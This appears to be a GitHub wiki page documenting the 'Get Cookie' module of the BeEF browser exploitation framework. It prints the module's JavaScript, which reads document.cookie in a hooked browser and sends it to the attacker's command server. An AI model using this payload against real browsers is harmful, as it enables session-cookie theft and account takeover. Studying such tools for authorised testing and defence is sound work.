Module: Get Cookie - h4sh5/beef GitHub Wiki
Summary
- Objective: This module will retrieve the session cookie from the current page.
- Date: ???
- Authors: bcoles
- Browsers: All
- Code
Internal Working
This module just gather the cookies for this page using the document.cookie function :
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
});